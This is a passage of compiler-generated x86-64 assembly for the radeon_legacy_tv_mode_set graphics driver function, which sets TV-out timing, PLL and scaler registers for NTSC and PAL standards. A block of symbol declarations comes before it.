.comm _RADEON_TVPLL_RESET,4,2 ; @RADEON_TVPLL_RESET .comm _RADEON_TVPLL_SLEEP,4,2 ; @RADEON_TVPLL_SLEEP .comm _RADEON_TV_RGB_CNTL,4,2 ; @RADEON_TV_RGB_CNTL .comm _RADEON_TV_HTOTAL,4,2 ; @RADEON_TV_HTOTAL .comm _RADEON_TV_HDISP,4,2 ; @RADEON_TV_HDISP .comm _RADEON_TV_HSTART,4,2 ; @RADEON_TV_HSTART .comm _RADEON_TV_VTOTAL,4,2 ; @RADEON_TV_VTOTAL .comm _RADEON_TV_VDISP,4,2 ; @RADEON_TV_VDISP .comm _RADEON_TV_FTOTAL,4,2 ; @RADEON_TV_FTOTAL .comm _RADEON_TV_Y_FALL_CNTL,4,2 ; @RADEON_TV_Y_FALL_CNTL .comm _RADEON_TV_Y_RISE_CNTL,4,2 ; @RADEON_TV_Y_RISE_CNTL .comm _RADEON_TV_Y_SAW_TOOTH_CNTL,4,2 ; @RADEON_TV_Y_SAW_TOOTH_CNTL .comm _RADEON_TV_SYNC_CNTL,4,2 ; @RADEON_TV_SYNC_CNTL .comm _RADEON_SYNC_PUB,4,2 ; @RADEON_SYNC_PUB .comm _RADEON_TV_SYNC_IO_DRIVE,4,2 ; @RADEON_TV_SYNC_IO_DRIVE .comm _RADEON_TV_TIMING_CNTL,4,2 ; @RADEON_TV_TIMING_CNTL .comm _RADEON_TV_MODULATOR_CNTL1,4,2 ; @RADEON_TV_MODULATOR_CNTL1 .comm _RADEON_TV_MODULATOR_CNTL2,4,2 ; @RADEON_TV_MODULATOR_CNTL2 .comm _RADEON_TV_PRE_DAC_MUX_CNTL,4,2 ; @RADEON_TV_PRE_DAC_MUX_CNTL .comm _RADEON_Y_RED_EN,4,2 ; @RADEON_Y_RED_EN .comm _RADEON_C_GRN_EN,4,2 ; @RADEON_C_GRN_EN .comm _RADEON_CMP_BLU_EN,4,2 ; @RADEON_CMP_BLU_EN .comm _RADEON_DAC_DITHER_EN,4,2 ; @RADEON_DAC_DITHER_EN .comm _RADEON_TV_CRC_CNTL,4,2 ; @RADEON_TV_CRC_CNTL .comm _RADEON_TV_GAIN_LIMIT_SETTINGS,4,2 ; @RADEON_TV_GAIN_LIMIT_SETTINGS .comm _RADEON_UV_GAIN_LIMIT_SHIFT,4,2 ; @RADEON_UV_GAIN_LIMIT_SHIFT .comm _RADEON_Y_GAIN_LIMIT_SHIFT,4,2 ; @RADEON_Y_GAIN_LIMIT_SHIFT .comm _RADEON_TV_LINEAR_GAIN_SETTINGS,4,2 ; @RADEON_TV_LINEAR_GAIN_SETTINGS .comm _RADEON_UV_GAIN_SHIFT,4,2 ; @RADEON_UV_GAIN_SHIFT .comm _RADEON_Y_GAIN_SHIFT,4,2 ; @RADEON_Y_GAIN_SHIFT .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _radeon_legacy_tv_mode_set ## -- Begin function radeon_legacy_tv_mode_set .p2align 4, 0x90 _radeon_legacy_tv_mode_set: ## @radeon_legacy_tv_mode_set .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $208, %rsp movq %rdi, -8(%rbp) movq %rsi, -16(%rbp) movq %rdx, -24(%rbp) movq -8(%rbp), %rax movq 8(%rax), %rax movq %rax, -32(%rbp) movq -32(%rbp), %rax movq (%rax), %rax movq %rax, -40(%rbp) movq -8(%rbp), %rdi callq _to_radeon_encoder movq %rax, -48(%rbp) movq -48(%rbp), %rax movq (%rax), %rax movq %rax, -56(%rbp) movq -48(%rbp), %rdi leaq -80(%rbp), %rsi callq _radeon_legacy_tv_get_std_mode movq %rax, -64(%rbp) cmpq $0, -64(%rbp) jne LBB0_2 ## %bb.1: jmp LBB0_84 LBB0_2: movq -8(%rbp), %rax movl (%rax), %edi callq _to_radeon_crtc movq %rax, -72(%rbp) movq _RADEON_VIN_ASYNC_RST@GOTPCREL(%rip), %rax movl (%rax), %eax movq _RADEON_CRT_FIFO_CE_EN@GOTPCREL(%rip), %rcx orl (%rcx), %eax movq _RADEON_TV_FIFO_CE_EN@GOTPCREL(%rip), %rcx orl (%rcx), %eax movq _RADEON_TV_ON@GOTPCREL(%rip), %rcx orl (%rcx), %eax movl %eax, -96(%rbp) movq -40(%rbp), %rdi callq _ASIC_IS_R300 cmpl $0, %eax jne LBB0_4 ## %bb.3: movq _RADEON_TVCLK_ALWAYS_ONb@GOTPCREL(%rip), %rax movl (%rax), %eax orl -96(%rbp), %eax movl %eax, -96(%rbp) LBB0_4: movq -56(%rbp), %rax movq (%rax), %rax movq _TV_STD_NTSC@GOTPCREL(%rip), %rcx cmpq (%rcx), %rax je LBB0_6 ## %bb.5: movq -56(%rbp), %rax movq (%rax), %rax movq _TV_STD_NTSC_J@GOTPCREL(%rip), %rcx cmpq (%rcx), %rax jne LBB0_7 LBB0_6: movq _RADEON_RESTART_PHASE_FIX@GOTPCREL(%rip), %rax movl (%rax), %eax orl -96(%rbp), %eax movl %eax, -96(%rbp) LBB0_7: movq _RADEON_SLEW_RATE_LIMIT@GOTPCREL(%rip), %rax movl (%rax), %eax movq _RADEON_SYNC_TIP_LEVEL@GOTPCREL(%rip), %rcx orl (%rcx), %eax movq _RADEON_YFLT_EN@GOTPCREL(%rip), %rcx orl (%rcx), %eax movq _RADEON_UVFLT_EN@GOTPCREL(%rip), %rcx orl (%rcx), %eax movq _RADEON_CY_FILT_BLEND_SHIFT@GOTPCREL(%rip), %rcx movl (%rcx), %ecx movl $6, %edx ## kill: def $cl killed $ecx shll %cl, %edx movl %edx, %ecx orl %ecx, %eax movl %eax, -108(%rbp) movq -56(%rbp), %rax movq (%rax), %rax movq _TV_STD_NTSC@GOTPCREL(%rip), %rcx cmpq (%rcx), %rax je LBB0_9 ## %bb.8: movq -56(%rbp), %rax movq (%rax), %rax movq _TV_STD_NTSC_J@GOTPCREL(%rip), %rcx cmpq (%rcx), %rax jne LBB0_10 LBB0_9: movq _RADEON_SET_UP_LEVEL_SHIFT@GOTPCREL(%rip), %rax movl (%rax), %ecx movl $70, %eax ## kill: def $cl killed $ecx shll %cl, %eax movq _RADEON_BLANK_LEVEL_SHIFT@GOTPCREL(%rip), %rcx movl (%rcx), %ecx movl $59, %edx ## kill: def $cl killed $ecx shll %cl, %edx movl %edx, %ecx orl %ecx, %eax orl -108(%rbp), %eax movl %eax, -108(%rbp) movq _RADEON_TV_U_BURST_LEVEL_MASK@GOTPCREL(%rip), %rax movl (%rax), %eax andl $4294967185, %eax ## imm = 0xFFFFFF91 movq _RADEON_TV_V_BURST_LEVEL_MASK@GOTPCREL(%rip), %rcx movl (%rcx), %edx andl $0, %edx movq _RADEON_TV_V_BURST_LEVEL_SHIFT@GOTPCREL(%rip), %rcx movl (%rcx), %ecx ## kill: def $cl killed $ecx shll %cl, %edx movl %edx, %ecx orl %ecx, %eax movl %eax, -112(%rbp) jmp LBB0_14 LBB0_10: movq -56(%rbp), %rax movq (%rax), %rax movq _TV_STD_SCART_PAL@GOTPCREL(%rip), %rcx cmpq (%rcx), %rax jne LBB0_12 ## %bb.11: movq _RADEON_ALT_PHASE_EN@GOTPCREL(%rip), %rax movl (%rax), %eax orl -108(%rbp), %eax movl %eax, -108(%rbp) movq _RADEON_TV_U_BURST_LEVEL_MASK@GOTPCREL(%rip), %rax movl (%rax), %eax andl $0, %eax movq _RADEON_TV_V_BURST_LEVEL_MASK@GOTPCREL(%rip), %rcx movl (%rcx), %edx andl $0, %edx movq _RADEON_TV_V_BURST_LEVEL_SHIFT@GOTPCREL(%rip), %rcx movl (%rcx), %ecx ## kill: def $cl killed $ecx shll %cl, %edx movl %edx, %ecx orl %ecx, %eax movl %eax, -112(%rbp) jmp LBB0_13 LBB0_12: movq _RADEON_ALT_PHASE_EN@GOTPCREL(%rip), %rax movl (%rax), %eax movq _RADEON_SET_UP_LEVEL_SHIFT@GOTPCREL(%rip), %rcx movl (%rcx), %ecx movl $59, %edx ## kill: def $cl killed $ecx shll %cl, %edx movl %edx, %ecx orl %ecx, %eax movq _RADEON_BLANK_LEVEL_SHIFT@GOTPCREL(%rip), %rcx movl (%rcx), %ecx movl $59, %edx ## kill: def $cl killed $ecx shll %cl, %edx movl %edx, %ecx orl %ecx, %eax orl -108(%rbp), %eax movl %eax, -108(%rbp) movq _RADEON_TV_U_BURST_LEVEL_MASK@GOTPCREL(%rip), %rax movl (%rax), %eax andl $4294967218, %eax ## imm = 0xFFFFFFB2 movq _RADEON_TV_V_BURST_LEVEL_MASK@GOTPCREL(%rip), %rcx movl (%rcx), %edx andl $62, %edx movq _RADEON_TV_V_BURST_LEVEL_SHIFT@GOTPCREL(%rip), %rcx movl (%rcx), %ecx ## kill: def $cl killed $ecx shll %cl, %edx movl %edx, %ecx orl %ecx, %eax movl %eax, -112(%rbp) LBB0_13: jmp LBB0_14 LBB0_14: movq _RADEON_RGB_DITHER_EN@GOTPCREL(%rip), %rax movl (%rax), %eax movq _RADEON_TVOUT_SCALE_EN@GOTPCREL(%rip), %rcx orl (%rcx), %eax movq _RADEON_UVRAM_READ_MARGIN_SHIFT@GOTPCREL(%rip), %rcx movl (%rcx), %ecx movl $11, %edx ## kill: def $cl killed $ecx shll %cl, %edx movl %edx, %ecx orl %ecx, %eax movq _RADEON_FIFORAM_FFMACRO_READ_MARGIN_SHIFT@GOTPCREL(%rip), %rcx movl (%rcx), %ecx movl $7, %edx ## kill: def $cl killed $ecx shll %cl, %edx movl %edx, %ecx orl %ecx, %eax movl %eax, -184(%rbp) ## 4-byte Spill movl $3, %edi callq _RADEON_RGB_ATTEN_SEL movl %eax, %ecx movl -184(%rbp), %eax ## 4-byte Reload orl %ecx, %eax movl %eax, -180(%rbp) ## 4-byte Spill movl $12, %edi callq _RADEON_RGB_ATTEN_VAL movl %eax, %ecx movl -180(%rbp), %eax ## 4-byte Reload orl %ecx, %eax movl %eax, -100(%rbp) movq -72(%rbp), %rax cmpl $1, (%rax) jne LBB0_16 ## %bb.15: movq _RADEON_RGB_SRC_SEL_CRTC2@GOTPCREL(%rip), %rax movl (%rax), %eax orl -100(%rbp), %eax movl %eax, -100(%rbp) jmp LBB0_20 LBB0_16: movq -72(%rbp), %rax movq 8(%rax), %rax movq _RMX_OFF@GOTPCREL(%rip), %rcx cmpq (%rcx), %rax je LBB0_18 ## %bb.17: movq _RADEON_RGB_SRC_SEL_RMX@GOTPCREL(%rip), %rax movl (%rax), %eax orl -100(%rbp), %eax movl %eax, -100(%rbp) jmp LBB0_19 LBB0_18: movq _RADEON_RGB_SRC_SEL_CRTC1@GOTPCREL(%rip), %rax movl (%rax), %eax orl -100(%rbp), %eax movl %eax, -100(%rbp) LBB0_19: jmp LBB0_20 LBB0_20: movq -56(%rbp), %rax movq (%rax), %rax movq _TV_STD_NTSC@GOTPCREL(%rip), %rcx cmpq (%rcx), %rax je LBB0_24 ## %bb.21: movq -56(%rbp), %rax movq (%rax), %rax movq _TV_STD_NTSC_J@GOTPCREL(%rip), %rcx cmpq (%rcx), %rax je LBB0_24 ## %bb.22: movq -56(%rbp), %rax movq (%rax), %rax movq _TV_STD_PAL_M@GOTPCREL(%rip), %rcx cmpq (%rcx), %rax je LBB0_24 ## %bb.23: movq -56(%rbp), %rax movq (%rax), %rax movq _TV_STD_PAL_60@GOTPCREL(%rip), %rcx cmpq (%rcx), %rax jne LBB0_25 LBB0_24: movq -64(%rbp), %rax movl (%rax), %eax shll $1, %eax imull $10000, %eax, %eax ## imm = 0x2710 movq _NTSC_TV_LINES_PER_FRAME@GOTPCREL(%rip), %rcx cltd idivl (%rcx) movl %eax, -84(%rbp) jmp LBB0_26 LBB0_25: movq -64(%rbp), %rax movl (%rax), %eax shll $1, %eax imull $10000, %eax, %eax ## imm = 0x2710 movq _PAL_TV_LINES_PER_FRAME@GOTPCREL(%rip), %rcx cltd idivl (%rcx) movl %eax, -84(%rbp) LBB0_26: movq _RADEON_TV_VSCALER_CNTL1@GOTPCREL(%rip), %rax movl (%rax), %edi callq _RREG32 movl %eax, -92(%rbp) movl -92(%rbp), %eax andl $-469827584, %eax ## imm = 0xE3FF0000 movl %eax, -92(%rbp) movl -84(%rbp), %eax movq _FRAC_BITS@GOTPCREL(%rip), %rcx movl (%rcx), %ecx movl $1, %edx ## kill: def $cl killed $ecx shll %cl, %edx movl %edx, %ecx imull %ecx, %eax movl $10000, %ecx ## imm = 0x2710 cltd idivl %ecx orl -92(%rbp), %eax movl %eax, -92(%rbp) movl -92(%rbp), %eax movl %eax, -116(%rbp) cmpl $2700, -80(%rbp) ## imm = 0xA8C jne LBB0_28 ## %bb.27: movq _RADEON_RESTART_FIELD@GOTPCREL(%rip), %rax movl (%rax), %eax orl -116(%rbp), %eax movl %eax, -116(%rbp) LBB0_28: movq -64(%rbp), %rax cmpl $1024, 4(%rax) ## imm = 0x400 jne LBB0_30 ## %bb.29: movq _RADEON_Y_DEL_W_SIG_SHIFT@GOTPCREL(%rip), %rax movl (%rax), %ecx movl $4, %eax ## kill: def $cl killed $ecx shll %cl, %eax orl -116(%rbp), %eax movl %eax, -116(%rbp) jmp LBB0_31 LBB0_30: movq _RADEON_Y_DEL_W_SIG_SHIFT@GOTPCREL(%rip), %rax movl (%rax), %ecx movl $2, %eax ## kill: def $cl killed $ecx shll %cl, %eax orl -116(%rbp), %eax movl %eax, -116(%rbp) LBB0_31: movq -64(%rbp), %rax movl (%rax), %eax shll $1, %eax imull $1000, %eax, %eax ## imm = 0x3E8 movl %eax, -92(%rbp) movq -56(%rbp), %rax movq (%rax), %rax movq _TV_STD_NTSC@GOTPCREL(%rip), %rcx cmpq (%rcx), %rax je LBB0_35 ## %bb.32: movq -56(%rbp), %rax movq (%rax), %rax movq _TV_STD_NTSC_J@GOTPCREL(%rip), %rcx cmpq (%rcx), %rax je LBB0_35 ## %bb.33: movq -56(%rbp), %rax movq (%rax), %rax movq _TV_STD_PAL_M@GOTPCREL(%rip), %rcx cmpq (%rcx), %rax je LBB0_35 ## %bb.34: movq -56(%rbp), %rax movq (%rax), %rax movq _TV_STD_PAL_60@GOTPCREL(%rip), %rcx cmpq (%rcx), %rax jne LBB0_36 LBB0_35: movq _NTSC_TV_LINES_PER_FRAME@GOTPCREL(%rip), %rax movl (%rax), %ecx movl -92(%rbp), %eax cltd idivl %ecx movl %eax, -92(%rbp) jmp LBB0_37 LBB0_36: movq _PAL_TV_LINES_PER_FRAME@GOTPCREL(%rip), %rax movl (%rax), %ecx movl -92(%rbp), %eax cltd idivl %ecx movl %eax, -92(%rbp) LBB0_37: movl -92(%rbp), %eax addl $500, %eax ## imm = 0x1F4 movl $1000, %ecx ## imm = 0x3E8 cltd idivl %ecx movl %eax, -88(%rbp) cmpl $3, -88(%rbp) jge LBB0_39 ## %bb.38: movl $3, -88(%rbp) LBB0_39: movl $0, -76(%rbp) LBB0_40: ## =>This Inner Loop Header: Depth=1 movl -76(%rbp), %eax movl %eax, -188(%rbp) ## 4-byte Spill movq _SLOPE_limit@GOTPCREL(%rip), %rax movq (%rax), %rdi callq _ARRAY_SIZE movl %eax, %ecx movl -188(%rbp), %eax ## 4-byte Reload cmpl %ecx, %eax jge LBB0_45 ## %bb.41: ## in Loop: Header=BB0_40 Depth=1 movl -88(%rbp), %eax movq _SLOPE_limit@GOTPCREL(%rip), %rcx movq (%rcx), %rcx movslq -76(%rbp), %rdx cmpl (%rcx,%rdx,4), %eax jne LBB0_43 ## %bb.42: jmp LBB0_45 LBB0_43: ## in Loop: Header=BB0_40 Depth=1 jmp LBB0_44 LBB0_44: ## in Loop: Header=BB0_40 Depth=1 movl -76(%rbp), %eax addl $1, %eax movl %eax, -76(%rbp) jmp LBB0_40 LBB0_45: movl -84(%rbp), %eax movq _SLOPE_value@GOTPCREL(%rip), %rcx movq (%rcx), %rcx movslq -76(%rbp), %rdx imull (%rcx,%rdx,4), %eax movq _FRAC_BITS@GOTPCREL(%rip), %rcx movl (%rcx), %ecx subl $1, %ecx movl $1, %edx ## kill: def $cl killed $ecx shll %cl, %edx movl %edx, %ecx imull %ecx, %eax addl $5001, %eax ## imm = 0x1389 movl $10000, %ecx ## imm = 0x2710 cltd idivl %ecx movl $8, %ecx cltd idivl %ecx movl %eax, -204(%rbp) ## 4-byte Spill movq _SLOPE_value@GOTPCREL(%rip), %rax movq (%rax), %rax movslq -76(%rbp), %rcx movl (%rax,%rcx,4), %eax movq _FRAC_BITS@GOTPCREL(%rip), %rcx movl (%rcx), %ecx subl $1, %ecx movl $1, %edx ## kill: def $cl killed $ecx shll %cl, %edx movl %edx, %ecx imull %ecx, %eax movl $8, %ecx cltd idivl %ecx movl %eax, %ecx movl -204(%rbp), %eax ## 4-byte Reload shll $16, %ecx orl %ecx, %eax movl %eax, -144(%rbp) movq _YCOEF_EN_value@GOTPCREL(%rip), %rax movq (%rax), %rax movslq -76(%rbp), %rcx movl (%rax,%rcx,4), %eax shll $17, %eax movl %eax, -200(%rbp) ## 4-byte Spill movq _YCOEF_value@GOTPCREL(%rip), %rax movq (%rax), %rax movslq -76(%rbp), %rcx movl (%rax,%rcx,4), %eax shll $8, %eax movl $8, %ecx cltd idivl %ecx movl %eax, %ecx movl -200(%rbp), %eax ## 4-byte Reload shll $24, %ecx orl %ecx, %eax movq _RADEON_Y_FALL_PING_PONG@GOTPCREL(%rip), %rcx orl (%rcx), %eax movl %eax, -196(%rbp) ## 4-byte Spill movq _SLOPE_value@GOTPCREL(%rip), %rax movq (%rax), %rax movslq -76(%rbp), %rcx imull $272, (%rax,%rcx,4), %eax ## imm = 0x110 movl $8, %ecx cltd idivl %ecx movq _FRAC_BITS@GOTPCREL(%rip), %rcx movl (%rcx), %ecx subl $1, %ecx movl $1, %edx ## kill: def $cl killed $ecx shll %cl, %edx movl %edx, %ecx imull %ecx, %eax movl $1024, %ecx ## imm = 0x400 cltd idivl %ecx movl %eax, %ecx movl -196(%rbp), %eax ## 4-byte Reload orl %ecx, %eax movl %eax, -136(%rbp) movq _RADEON_Y_RISE_PING_PONG@GOTPCREL(%rip), %rax movl (%rax), %eax movl %eax, -192(%rbp) ## 4-byte Spill movl -88(%rbp), %eax shll $10, %eax subl $272, %eax ## imm = 0x110 movq _SLOPE_value@GOTPCREL(%rip), %rcx movq (%rcx), %rcx movslq -76(%rbp), %rdx imull (%rcx,%rdx,4), %eax movl $8, %ecx cltd idivl %ecx movq _FRAC_BITS@GOTPCREL(%rip), %rcx movl (%rcx), %ecx subl $1, %ecx movl $1, %edx ## kill: def $cl killed $ecx shll %cl, %edx movl %edx, %ecx imull %ecx, %eax movl $1024, %ecx ## imm = 0x400 cltd idivl %ecx movl %eax, %ecx movl -192(%rbp), %eax ## 4-byte Reload orl %ecx, %eax movl %eax, -140(%rbp) movq _RADEON_TV_VSCALER_CNTL2@GOTPCREL(%rip), %rax movl (%rax), %edi callq _RREG32 andl $16777200, %eax ## imm = 0xFFFFF0 movl %eax, -120(%rbp) movq _RADEON_DITHER_MODE@GOTPCREL(%rip), %rax movl (%rax), %eax orl $268435456, %eax ## imm = 0x10000000 movq _RADEON_Y_OUTPUT_DITHER_EN@GOTPCREL(%rip), %rcx orl (%rcx), %eax movq _RADEON_UV_OUTPUT_DITHER_EN@GOTPCREL(%rip), %rcx orl (%rcx), %eax movq _RADEON_UV_TO_BUF_DITHER_EN@GOTPCREL(%rip), %rcx orl (%rcx), %eax orl -120(%rbp), %eax movl %eax, -120(%rbp) movl -116(%rbp), %eax movq _RADEON_UV_INC_SHIFT@GOTPCREL(%rip), %rcx movl (%rcx), %ecx ## kill: def $cl killed $ecx sarl %cl, %eax movq _RADEON_UV_INC_MASK@GOTPCREL(%rip), %rcx andl (%rcx), %eax movl %eax, -92(%rbp) movl $41943040, %eax ## imm = 0x2800000 cltd idivl -92(%rbp) addl $5, %eax movl $10, %ecx cltd idivl %ecx movl %eax, -92(%rbp) movl -92(%rbp), %eax movq _RADEON_UV_OUTPUT_POST_SCALE_SHIFT@GOTPCREL(%rip), %rcx movl (%rcx), %ecx ## kill: def $cl killed $ecx shll %cl, %eax orl $720896, %eax ## imm = 0xB0000 movl %eax, -92(%rbp) movl -92(%rbp), %ecx movq -56(%rbp), %rax movl %ecx, 16(%rax) movq -56(%rbp), %rax movq (%rax), %rax movq _TV_STD_NTSC@GOTPCREL(%rip), %rcx cmpq (%rcx), %rax je LBB0_49 ## %bb.46: movq -56(%rbp), %rax movq (%rax), %rax movq _TV_STD_NTSC_J@GOTPCREL(%rip), %rcx cmpq (%rcx), %rax je LBB0_49 ## %bb.47: movq -56(%rbp), %rax movq (%rax), %rax movq _TV_STD_PAL_M@GOTPCREL(%rip), %rcx cmpq (%rcx), %rax je LBB0_49 ## %bb.48: movq -56(%rbp), %rax movq (%rax), %rax movq _TV_STD_PAL_60@GOTPCREL(%rip), %rcx cmpq (%rcx), %rax jne LBB0_50 LBB0_49: movq -56(%rbp), %rax movl 8(%rax), %eax movl %eax, -104(%rbp) jmp LBB0_51 LBB0_50: movq -56(%rbp), %rax movl 12(%rax), %eax movl %eax, -104(%rbp) LBB0_51: movq _RADEON_TV_DAC_NBLANK@GOTPCREL(%rip), %rax movl (%rax), %eax movq _RADEON_TV_DAC_NHOLD@GOTPCREL(%rip), %rcx orl (%rcx), %eax orl -104(%rbp), %eax movl %eax, -104(%rbp) movq -56(%rbp), %rax movq (%rax), %rax movq _TV_STD_NTSC@GOTPCREL(%rip), %rcx cmpq (%rcx), %rax je LBB0_53 ## %bb.52: movq -56(%rbp), %rax movq (%rax), %rax movq _TV_STD_NTSC_J@GOTPCREL(%rip), %rcx cmpq (%rcx), %rax jne LBB0_54 LBB0_53: movq _RADEON_TV_DAC_STD_NTSC@GOTPCREL(%rip), %rax movl (%rax), %eax orl -104(%rbp), %eax movl %eax, -104(%rbp) jmp LBB0_55 LBB0_54: movq _RADEON_TV_DAC_STD_PAL@GOTPCREL(%rip), %rax movl (%rax), %eax orl -104(%rbp), %eax movl %eax, -104(%rbp) LBB0_55: movq -56(%rbp), %rax movq (%rax), %rax movq _TV_STD_NTSC@GOTPCREL(%rip), %rcx cmpq (%rcx), %rax je LBB0_57 ## %bb.56: movq -56(%rbp), %rax movq (%rax), %rax movq _TV_STD_NTSC_J@GOTPCREL(%rip), %rcx cmpq (%rcx), %rax jne LBB0_61 LBB0_57: cmpl $2700, -80(%rbp) ## imm = 0xA8C jne LBB0_59 ## %bb.58: movq _NTSC_TV_PLL_M_27@GOTPCREL(%rip), %rax movl (%rax), %eax movl %eax, -148(%rbp) movq _NTSC_TV_PLL_N_27@GOTPCREL(%rip), %rax movl (%rax), %eax movl %eax, -152(%rbp) movq _NTSC_TV_PLL_P_27@GOTPCREL(%rip), %rax movl (%rax), %eax movl %eax, -156(%rbp) jmp LBB0_60 LBB0_59: movq _NTSC_TV_PLL_M_14@GOTPCREL(%rip), %rax movl (%rax), %eax movl %eax, -148(%rbp) movq _NTSC_TV_PLL_N_14@GOTPCREL(%rip), %rax movl (%rax), %eax movl %eax, -152(%rbp) movq _NTSC_TV_PLL_P_14@GOTPCREL(%rip), %rax movl (%rax), %eax movl %eax, -156(%rbp) LBB0_60: jmp LBB0_65 LBB0_61: cmpl $2700, -80(%rbp) ## imm = 0xA8C jne LBB0_63 ## %bb.62: movq _PAL_TV_PLL_M_27@GOTPCREL(%rip), %rax movl (%rax), %eax movl %eax, -148(%rbp) movq _PAL_TV_PLL_N_27@GOTPCREL(%rip), %rax movl (%rax), %eax movl %eax, -152(%rbp) movq _PAL_TV_PLL_P_27@GOTPCREL(%rip), %rax movl (%rax), %eax movl %eax, -156(%rbp) jmp LBB0_64 LBB0_63: movq _PAL_TV_PLL_M_14@GOTPCREL(%rip), %rax movl (%rax), %eax movl %eax, -148(%rbp) movq _PAL_TV_PLL_N_14@GOTPCREL(%rip), %rax movl (%rax), %eax movl %eax, -152(%rbp) movq _PAL_TV_PLL_P_14@GOTPCREL(%rip), %rax movl (%rax), %eax movl %eax, -156(%rbp) LBB0_64: jmp LBB0_65 LBB0_65: movl -148(%rbp), %eax movq _RADEON_TV_M0LO_MASK@GOTPCREL(%rip), %rcx andl (%rcx), %eax movl -148(%rbp), %edx sarl $8, %edx movq _RADEON_TV_M0HI_MASK@GOTPCREL(%rip), %rcx andl (%rcx), %edx movq _RADEON_TV_M0HI_SHIFT@GOTPCREL(%rip), %rcx movl (%rcx), %ecx ## kill: def $cl killed $ecx shll %cl, %edx movl %edx, %ecx orl %ecx, %eax movl -152(%rbp), %edx movq _RADEON_TV_N0LO_MASK@GOTPCREL(%rip), %rcx andl (%rcx), %edx movq _RADEON_TV_N0LO_SHIFT@GOTPCREL(%rip), %rcx movl (%rcx), %ecx ## kill: def $cl killed $ecx shll %cl, %edx movl %edx, %ecx orl %ecx, %eax movl -152(%rbp), %edx sarl $9, %edx movq _RADEON_TV_N0HI_MASK@GOTPCREL(%rip), %rcx andl (%rcx), %edx movq _RADEON_TV_N0HI_SHIFT@GOTPCREL(%rip), %rcx movl (%rcx), %ecx ## kill: def $cl killed $ecx shll %cl, %edx movl %edx, %ecx orl %ecx, %eax movl -156(%rbp), %edx movq _RADEON_TV_P_MASK@GOTPCREL(%rip), %rcx andl (%rcx), %edx movq _RADEON_TV_P_SHIFT@GOTPCREL(%rip), %rcx movl (%rcx), %ecx ## kill: def $cl killed $ecx shll %cl, %edx movl %edx, %ecx orl %ecx, %eax movl %eax, -124(%rbp) movq _RADEON_TVPCP_MASK@GOTPCREL(%rip), %rax movl (%rax), %eax andl $4, %eax movq _RADEON_TVPCP_SHIFT@GOTPCREL(%rip), %rcx movl (%rcx), %ecx ## kill: def $cl killed $ecx shll %cl, %eax movq _RADEON_TVPVG_MASK@GOTPCREL(%rip), %rcx movl (%rcx), %edx andl $4, %edx movq _RADEON_TVPVG_SHIFT@GOTPCREL(%rip), %rcx movl (%rcx), %ecx ## kill: def $cl killed $ecx shll %cl, %edx movl %edx, %ecx orl %ecx, %eax movq _RADEON_TVPDC_MASK@GOTPCREL(%rip), %rcx movl (%rcx), %edx andl $1, %edx movq _RADEON_TVPDC_SHIFT@GOTPCREL(%rip), %rcx movl (%rcx), %ecx ## kill: def $cl killed $ecx shll %cl, %edx movl %edx, %ecx orl %ecx, %eax movq _RADEON_TVCLK_SRC_SEL_TVPLL@GOTPCREL(%rip), %rcx orl (%rcx), %eax movq _RADEON_TVPLL_TEST_DIS@GOTPCREL(%rip), %rcx orl (%rcx), %eax movl %eax, -128(%rbp) movq -56(%rbp), %rax movl $200, 20(%rax) movq -56(%rbp), %rax movq (%rax), %rax movq _TV_STD_NTSC@GOTPCREL(%rip), %rcx cmpq (%rcx), %rax je LBB0_69 ## %bb.66: movq -56(%rbp), %rax movq (%rax), %rax movq _TV_STD_NTSC_J@GOTPCREL(%rip), %rcx cmpq (%rcx), %rax je LBB0_69 ## %bb.67: movq -56(%rbp), %rax movq (%rax), %rax movq _TV_STD_PAL_M@GOTPCREL(%rip), %rcx cmpq (%rcx), %rax je LBB0_69 ## %bb.68: movq -56(%rbp), %rax movq (%rax), %rax movq _TV_STD_PAL_60@GOTPCREL(%rip), %rcx cmpq (%rcx), %rax jne LBB0_70 LBB0_69: movq _NTSC_TV_VFTOTAL@GOTPCREL(%rip), %rax movl (%rax), %eax movl %eax, -132(%rbp) movq _hor_timing_NTSC@GOTPCREL(%rip), %rax movq (%rax), %rax movq %rax, -168(%rbp) movq _vert_timing_NTSC@GOTPCREL(%rip), %rax movq (%rax), %rax movq %rax, -176(%rbp) jmp LBB0_71 LBB0_70: movq _hor_timing_PAL@GOTPCREL(%rip), %rax movq (%rax), %rax movq %rax, -168(%rbp) movq _vert_timing_PAL@GOTPCREL(%rip), %rax movq (%rax), %rax movq %rax, -176(%rbp) movq _PAL_TV_VFTOTAL@GOTPCREL(%rip), %rax movl (%rax), %eax movl %eax, -132(%rbp) LBB0_71: movl $0, -76(%rbp) LBB0_72: ## =>This Inner Loop Header: Depth=1 movl -76(%rbp), %eax movq _MAX_H_CODE_TIMING_LEN@GOTPCREL(%rip), %rcx cmpl (%rcx), %eax jge LBB0_77 ## %bb.73: ## in Loop: Header=BB0_72 Depth=1 movq -168(%rbp), %rax movslq -76(%rbp), %rcx movl (%rax,%rcx,4), %eax movq -56(%rbp), %rcx movq 24(%rcx), %rcx movslq -76(%rbp), %rdx movl %eax, (%rcx,%rdx,4) cmpl $0, %eax jne LBB0_75 ## %bb.74: jmp LBB0_77 LBB0_75: ## in Loop: Header=BB0_72 Depth=1 jmp LBB0_76 LBB0_76: ## in Loop: Header=BB0_72 Depth=1 movl -76(%rbp), %eax addl $1, %eax movl %eax, -76(%rbp) jmp LBB0_72 LBB0_77: movl $0, -76(%rbp) LBB0_78: ## =>This Inner Loop Header: Depth=1 movl -76(%rbp), %eax movq _MAX_V_CODE_TIMING_LEN@GOTPCREL(%rip), %rcx cmpl (%rcx), %eax jge LBB0_83 ## %bb.79: ## in Loop: Header=BB0_78 Depth=1 movq -176(%rbp), %rax movslq -76(%rbp), %rcx movl (%rax,%rcx,4), %eax movq -56(%rbp), %rcx movq 32(%rcx), %rcx movslq -76(%rbp), %rdx movl %eax, (%rcx,%rdx,4) cmpl $0, %eax jne LBB0_81 ## %bb.80: jmp LBB0_83 LBB0_81: ## in Loop: Header=BB0_78 Depth=1 jmp LBB0_82 LBB0_82: ## in Loop: Header=BB0_78 Depth=1 movl -76(%rbp), %eax addl $1, %eax movl %eax, -76(%rbp) jmp LBB0_78 LBB0_83: movq -8(%rbp), %rdi callq _radeon_legacy_tv_init_restarts movq _RADEON_TV_MASTER_CNTL@GOTPCREL(%rip), %rax movl (%rax), 